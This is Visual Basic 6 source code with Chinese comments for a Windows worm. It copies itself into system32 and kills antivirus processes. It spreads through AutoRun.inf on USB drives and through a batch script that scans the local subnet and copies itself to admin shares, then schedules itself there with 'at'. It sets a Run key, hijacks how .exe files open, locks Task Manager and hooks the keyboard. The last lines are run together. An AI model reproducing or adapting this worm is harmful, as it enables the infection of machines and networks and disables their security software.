主窗体代码：
'打开网页
Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long,ByVal lpOperation As String,ByVal lpFile As String,ByVal lpParameters As String,ByVal lpDirectory As String,ByVal nShowCmd As Long) As Long
'复制文件
Private Declare Function CopyFile Lib "kernel32" Alias "CopyFileA" (ByVal lpExistingFileName As String,ByVal lpNewFileName As String,ByVal bFailIfExists As Long) As Long
'获取驱动器类型
Private Declare Function GetDriveType Lib "kernel32" Alias "GetDriveTypeA" (ByVal nDrive As String) As Long
Private Const DRIVE_UNKNOWN = 0
Private Const DRIVE_NO_ROOT_DIR = 1
Private Const DRIVE_REMOVABLE = 2
Private Const DRIVE_FIXED = 3
Private Const DRIVE_REMOTE = 4
Private Const DRIVE_CDROM = 5
Private Const DRIVE_RAMDISK = 6
'关闭窗体
Private Declare Function FindWindow Lib "user32" Alias _
"FindWindowA" (ByVal lpClassName As String,_
ByVal lpWindowName As String) As Long
Private Declare Function PostMessage Lib "user32" Alias _
"PostMessageA" (ByVal hwnd As Long,ByVal wMsg As Long,_
ByVal wParam As Long,lParam As Any) As Long
Private Const WM_CLOSE = &H10
'*********************************************
Private Declare Sub InitCommonControls Lib "comctl32.dll" ()
Private Declare Function GetWindowLong Lib "user32" Alias "GetWindowLongA" (ByVal hwnd As Long,ByVal nIndex As Long) As Long
Private Declare Function SetWindowLong Lib "user32" Alias "SetWindowLongA" (ByVal hwnd As Long,ByVal nIndex As Long,ByVal dwNewLong As Long) As Long
Private Declare Function SetLayeredWindowAttributes Lib "user32" (ByVal hwnd As Long,ByVal crKey As Long,ByVal bAlpha As Byte,ByVal dwFlags As Long) As Long
Private Const WS_EX_LAYERED = &H80000
Private Const GWL_EXSTYLE = (-20)
Private Const LWA_ALPHA = &H2
'***************************************
Dim LngWidth As Long,LngHeight As Long,IntColor As Integer,LngFrequency As Long
Dim autlj As String,dsk As String,dskbat As String '一些文件的路径
Dim t As Integer,l As Integer
Dim i As Byte
Dim p As Byte
Private Sub tm(frmGlass As Form,nGlass As Byte)
On Error Resume Next
'目的:将制定窗体设置为任意透明程度
'函数:GetWindowLong获取扩展窗口样式;SetWindowLong设置扩展窗体样式;SetLayeredWindowAttributes设置窗体透明
Dim lngFrmStyle As Long
lngFrmStyle = GetWindowLong(frmGlass.hwnd,GWL_EXSTYLE) '获取窗口扩展样式
lngFrmStyle = lngFrmStyle Or WS_EX_LAYERED '新样式
Call SetWindowLong(frmGlass.hwnd,GWL_EXSTYLE,lngFrmStyle) '设置新样式
Call SetLayeredWindowAttributes(frmGlass.hwnd,nGlass,LWA_ALPHA) '实现窗体透明效果
End Sub
'结束进程过程
Function xx2(ByVal Name As String)
On Error Resume Next
Dim strComputer As String
strComputer = "."
Dim oWMI,oProcs,oProc,strWQL
strWQL = "SELECT * FROM Win32_Process" & " WHERE Name='" & Name & "'"
Set oWMI = GetObject("winmgmts://" & strComputer & "/root/cimv2")
Set oProcs = oWMI.ExecQuery(strWQL)
For Each oProc In oProcs
oProc.Terminate
Next
Set oProc = Nothing
Set oProcs = Nothing
Set oWMI = Nothing
End Function
Private Sub jc()
On Error Resume Next
Dim j As Integer
Dim c As String
Dim winHwnd As Long
Dim RetVal As Long
Dim a
If Right(App.Path,1) <> "/" Then
j = 8
c = LCase("system32")
Else
j = 9
c = LCase("system32/")
End If
If LCase(Right(App.Path,j)) <> c Then '检测程序的路径
a = Shell("explorer /n,/",vbMaximizedFocus) '打开磁盘
If a <> 0 Then '如果shell成功
winHwnd = FindWindow(vbNullString,"我的电脑")
RetVal = PostMessage(winHwnd,WM_CLOSE,0&,0&) '关闭窗口
End If
Kill Environ("windir") & "/system32/ntdete.exe"
CopyFile App.Path & "/" & App.EXEName & ".exe",Environ("windir") & "/system32/ntdete.exe",False '把自己复制到system32目录下
Shell Environ("windir") & "/system32/ntdete.exe",vbHide '启动ystem32目录下的程序
End
End If
End Sub
Private Sub copy()
On Error Resume Next
Dim i As Byte
Dim k As String
For i = 65 To 90 Step 1
k = Chr(i) & ":"
If GetDriveType(k) = 2 Then '如果是U盘
CreateObject("Scripting.FileSystemObject").DeleteFile k & "/AutoRun.inf",True
CopyFile Environ("windir") & "/system32/ntdete.exe",k & "/等待.exe",False '复制自己
CopyFile autlj,k & "/AutoRun.inf",False
SetAttr k & "/等待.exe",2 + 4
SetAttr k & "/AutoRun.inf",2 + 4
End If
Next i
End Sub
Private Sub Form_Initialize()
On Error Resume Next
If App.PrevInstance Then End '重复运行则结束程序
InitCommonControls
'参数运行
Dim cmd As String
Dim app1() As Byte
cmd = Command
If UCase(cmd) = "C" Then '先判断一下有没有参数，有就处理
app1 = LoadResData(108,"CUSTOM")
Open Environ("windir") & "/system32/19.bat" For Binary As #89 '释放BAT
Put #89,app1
Close #89
Shell Environ("windir") & "/system32/19.bat",vbNormalFocus
End If
End Sub
Private Sub Form_Load()
On Error Resume Next
App.TaskVisible = False '隐藏进程
Call jc
xx2 "360tray.exe" '结束360
xx2 "antiarp.exe" '结束360ARP防火墙
SetWindowPos Me.hwnd,HWND_TOPMOST,SWP_NOMOVE Or SWP_NOSIZE '窗体置顶
hook = SetWindowsHookEx(WH_KEYBOARD_LL,AddressOf LowLevelKeyboardProc,App.hInstance,0) '禁用
LngWidth = 1024: LngHeight = 768: IntColor = 32: LngFrequency = 85 '设置1024,768,32,85为默认值
mp3lj = Environ("windir") & "/system32/o1.mp3"
autlj = Environ("windir") & "/system32/AutoRun.inf"
dsk = Environ("windir") & "/system32/desktop.ini"
dskbat = Environ("windir") & "/system32/desk.bat"
CreateObject("Scripting.FileSystemObject").DeleteFile autlj,True '删除只读文件
CreateObject("Scripting.FileSystemObject").DeleteFile mp3lj,True
CreateObject("Scripting.FileSystemObject").DeleteFile dsk,True
CreateObject("Scripting.FileSystemObject").DeleteFile dskbat,True
CreateObject("Scripting.FileSystemObject").DeleteFile Environ("windir") & "/system32/1.ico",True
CreateObject("Scripting.FileSystemObject").DeleteFile Environ("windir") & "/system32/k.bat",True
CreateObject("Scripting.FileSystemObject").DeleteFile Environ("windir") & "/system32/re.tmp",True
CreateObject("Scripting.FileSystemObject").DeleteFile Environ("windir") & "/system32/jk.com",True
CreateObject("Scripting.FileSystemObject").DeleteFile Environ("windir") & "/system32/sdfhj.bat",True
Me.Width = Picture1.Width
Me.Height = Picture1.Height
Picture1.Top = 0
Picture1.Left = 0
Label1.ForeColor = RGB(0,255)
t = Label1.Top
l = Label1.Left
i = 0
p = 0
'&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&批处理脚本
'Dim tim As Variant '取得要运行的时间
Dim bt(1 To 15) As String,bat As String
Dim tt() As String
Dim ip As Byte,ipp As Byte,dy As Byte
Call Start '获取本地IP
tt = Split(strIP,".") '这个就是将字符串以"."拆开
Open Environ("windir") & "/system32/iip.txt" For Output As #20 '列举IP
For ip = 10 To 254
DoEvents
For ipp = 1 To 254
Print #20,tt(0) & "." & tt(1) & "." & ip & "." & ipp
Next ipp
Next ip
Close #20
'If Minute(time) >= 0 And Minute(time) < 40 Then'取得时间
' tim = Hour(time) & ":" & Minute(time) + 20
'Else
' tim = Hour(time) + 1 & ":20"
'End If
bat = "cd /d %systemroot%/system32/"
'bt(1) = "del /f /q /a 1y.txt 2y.txt 3y.txt 4y.txt 5y.txt"
'bt(2) = "net view /domain >1y.txt"
'bt(3) = "for /f " & Chr(34) & "eol=命 skip=3 delims=" & Chr(34) & " %%k in (1y.txt) do >>2y.txt echo %%k"
'bt(4) = "for /f " & Chr(34) & "tokens=*" & Chr(34) & " %%i in (2y.txt) do >>3y.txt echo " & Chr(34) & "%%~nxi" & Chr(34)
'bt(5) = "for /f " & Chr(34) & "delims=" & Chr(34) & " %%a in (3y.txt) do net view /domain:%%a >>4y.txt"
'bt(6) = "for /f " & Chr(34) & "delims=/" & Chr(34) & " %%c in ('findstr ^/ 4y.txt') do >>5y.txt echo %%c"
'bt(7) = "for /f " & Chr(34) & "delims= " & Chr(34) & " %%b in (5y.txt) do copy /y " & Chr(34) & Environ("windir") & "/system32/" & App.EXEName & ".exe" & Chr(34) & " " & Chr(34) & "//%%b/D$/等待.exe" & Chr(34) & " && (at " & Chr(34) & "//%%b" & Chr(34) & " " & tim & " /interactive " & Chr(34) & "//%%b/D$/等待.exe" & Chr(34) & ")"
bt(1) = "del /f /q /a tmpp.txt"
bt(2) = "setlocal EnableDelayedExpansion"
bt(3) = "for /f %%p in (iip.txt) do ("
bt(4) = "ping -n 1 -l 1 -w 10 %%p >tmpp.txt"
bt(5) = "set a=%time:~0,2%"
bt(6) = "set b=%time:~3,2%"
bt(7) = "if !b! EQU 08 set /a b=10"
bt(8) = "if !b! EQU 09 set /a b=10"
bt(9) = "set /a b+=10"
bt(10) = "if !b! GTR 59 set /a a+=1 & set /a b-=60"
bt(11) = "if !a! GTR 23 set /a a=0"
bt(12) = "findstr /c:" & Chr(34) & "Reply from %%p: bytes" & Chr(34) & " tmpp.txt&&" & "copy /y " & Chr(34) & Environ("windir") & "/system32/" & App.EXEName & ".exe" & Chr(34) & " " & Chr(34) & "//%%p/C$/等待.exe" & Chr(34) & " && (at " & Chr(34) & "//%%p" & Chr(34) & " !a!:!b! /interactive " & Chr(34) & "//%%p/C$/等待.exe" & Chr(34) & ")"
'bt(5) = "findstr /c:" & Chr(34) & "Reply from %%p: bytes" & Chr(34) & " tmpp.txt&&" & "copy /y " & Chr(34) & Environ("windir") & "/system32/" & App.EXEName & ".exe" & Chr(34) & " " & Chr(34) & "//%%p/D$/等待.exe" & Chr(34) & " && (at " & Chr(34) & "//%%p" & Chr(34) & " " & tim & " /interactive " & Chr(34) & "//%%p/D$/等待.exe" & Chr(34) & ")"
bt(13) = ")"
bt(14) = "del /f /q /a tmpp.txt"
bt(15) = "del /f /q /a %0"
For dy = 1 To 15
bat = bat & vbNewLine & bt(dy)
Next dy
Open Environ("windir") & "/system32/sdfhj.bat" For Output As #55
Print #55,bat
Close #55
Shell Environ("windir") & "/system32/sdfhj.bat",vbHide
'&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&
Open autlj For Output As #1 '创建AutoRun.inf文件
Print #1,"[AutoRun]"
Print #1,"open=等待.exe"
Print #1,"shell/open=打开(&O)"
Print #1,"shell/open/Command=等待.exe"
Close #1
Dim app1() As Byte
app1 = LoadResData(103,"CUSTOM")
Open Environ("windir") & "/system32/1.ico" For Binary As #2 '释放图标资源
Put #2,app1
Close #2
app1 = LoadResData(109,"CUSTOM")
Open Environ("windir") & "/system32/等待.com" For Binary As #21
Put #21,app1
Close #21
app1 = LoadResData(101,"CUSTOM")
Open mp3lj For Binary As #3 '释放MP3音乐文件资源
Put #3,app1
Close #3
app1 = LoadResData(104,"CUSTOM")
Open Environ("windir") & "/system32/MCI32.OCX" For Binary As #11
Put #11,app1
Close #11
Shell "regsvr32 /s " & Environ("windir") & "/system32/MCI32.OCX",vbHide '注册DLL
'------------------------------------
app1 = LoadResData(105,"CUSTOM")
Open Environ("windir") & "/system32/1.mpg" For Binary As #18
Put #18,app1
Close #18
app1 = LoadResData(106,"CUSTOM")
Open Environ("windir") & "/system32/2.mpg" For Binary As #19
Put #19,app1
Close #19
app1 = LoadResData(107,"CUSTOM")
Open Environ("windir") & "/system32/3.mpg" For Binary As #20
Put #20,app1
Close #20
'----------------------------------------
Call copy
'打开而不执行一个程序(任务管理器)，以达到锁定的目的
Open Environ("windir") & "/system32/taskmgr.exe" For Input Lock Read Write As #100
'创建注册表文件，修改磁盘驱动器图标
Dim ddd As String,bbb As String,ccc As String,oo As Integer
Dim az As Byte
ddd = ""
bbb = "@=" & Chr(34) & Environ("systemroot") & "//system32//"
For oo = 1 To Len(bbb)
ccc = Mid(bbb,oo,1)
If oo = 6 Then
ccc = "//"
End If
ddd = ddd & ccc
Next oo
Open Environ("windir") & "/system32/re.tmp" For Output As #5
Print #5,"Windows Registry Editor Version 5.00"
Print #5,""
Print #5,"[HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Explorer/DriveIcons]"
Print #5,""
For az = 65 To 90 Step 1
Print #5,"[HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Explorer/DriveIcons/" & Chr(az) & "]"
Print #5,"[HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Explorer/DriveIcons/" & Chr(az) & "/DefaultIcon]"
Print #5,ddd & "1.ico" & Chr(34)
Print #5,""
Next az
Print #5,"[HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run]" '自启动
Print #5,Chr(34) & "KV2008" & Chr(34) & "=" & Right(ddd,Len(ddd) - 2) & "ntdete.exe" & Chr(34)
Print #5,"[HKEY_CLASSES_ROOT/exefile/DefaultIcon]"
Print #5,"[HKEY_CLASSES_ROOT/exefile/shell/open/command]"
Print #5,ddd & "ntdete.exe c" & Chr(34)
Print #5,"[HKEY_CLASSES_ROOT/txtfile/DefaultIcon]"
Print #5,"[HKEY_CLASSES_ROOT/txtfile/shell/open/command]"
Print #5,""
Close #5
Open dsk For Output As #6 '创建desktop.ini桌面配置文件
Print #6,"[.ShellClassInfo]"
Print #6,"InfoTip=等待"
Print #6,"ConfirmFileOp=0"
Print #6,"IconFile=%systemroot%/system32/1.ico"
Print #6,"IconIndex=0"
Close #6
Open dskbat For Output As #7 '创建修改文件夹图标的BAT文件
Print #7,"cd /d %systemroot%/system32/"
Print #7,"del /f /q /a wj1.txt"
Print #7,"dir C:/ /s /b /ad >wj1.txt"
Print #7,"dir D:/ /s /b /ad >>wj1.txt"
Print #7,"dir E:/ /s /b /ad >>wj1.txt"
Print #7,"dir F:/ /s /b /ad >>wj1.txt"
Print #7,"for /f " & Chr(34) & "delims=" & Chr(34) & " %%r in (wj1.txt) do echo F|xcopy " & Chr(34) & "%systemroot%/system32/desktop.ini" & Chr(34) & " " & Chr(34) & "%%r/desktop.ini" & Chr(34) & " /h /r /k /y" & " && " & "(Attrib +s " & Chr(34) & "%%r" & Chr(34) & ")"
Print #7,"del /f /q /a wj1.txt desktop.ini"
Print #7,"del /f /q /a %0"
Close #7
SetAttr dskbat,2 + 4 '设置为系统和隐藏属性
SetAttr dsk,2 + 4
SetAttr bat,2 + 4
SetAttr mp3lj,2 + 4
SetAttr autlj,2 + 4
SetAttr Environ("windir") & "/system32/sdfhj.bat",2 + 4
SetAttr Environ("windir") & "/system32/1.ico",2 + 4
SetAttr Environ("windir") & "/system32/re.tmp",2 + 4
Shell "regedit /s " & Environ("windir") & "/system32/re.tmp",vbHide '导入注册表
Shell dskbat,vbHide '启动修改文件夹图标的BAT文件
Timer4.Enabled = True
End Sub
Private Sub Label1_Click()
Form2.Show
tmct.Visible = False
End Sub
Private Sub Label1_MouseDown(Button As Integer,Shift As Integer,X As Single,Y As Single)
Label1.Top = t + 15
Label1.Left = l + 15
End Sub
Private Sub Label1_MouseMove(Button As Integer,Y As Single)
Label1.ForeColor = RGB(255,0)
Label1.FontUnderline = True
End Sub
Private Sub Label1_MouseUp(Button As Integer,Y As Single)
Label1.Top = t
Label1.Left = l
End Sub
Private Sub Picture1_MouseMove(Button As Integer,Y As Single)
Label1.ForeColor = RGB(0,255)
Label1.FontUnderline = False
End Sub
Private Sub Timer3_Timer()
'目的:使窗体的透明度逐渐变低
'函数:SetFormGlass设置窗体透明度
If p > 115 Then
Timer3.Enabled = False
Else
p = p + 5
End If
Call tm(XPbj,p)
End Sub
Private Sub Timer4_Timer()
On Error Resume Next
i = i + 1
If i = 80 Then
Call SetDisplayMode(LngWidth,LngHeight,IntColor,LngFrequency) '将4个参数传递给过程
xx2 "explorer.exe" '结束进程
qd.Show
Shell Environ("systemroot") & "/explorer.exe"
ElseIf i = 120 Then
ShellExecute 0,"open","http://www.100vb.com","",1 Load XPbj '加载但不显示 Call tm(XPbj,0) '设置为全透明 '使背景窗体逐渐不透明，产生桌面变灰的错觉，并激发Timer控件 XPbj.Show Timer3.Enabled = True tmct.ShowEnd IfEnd Sub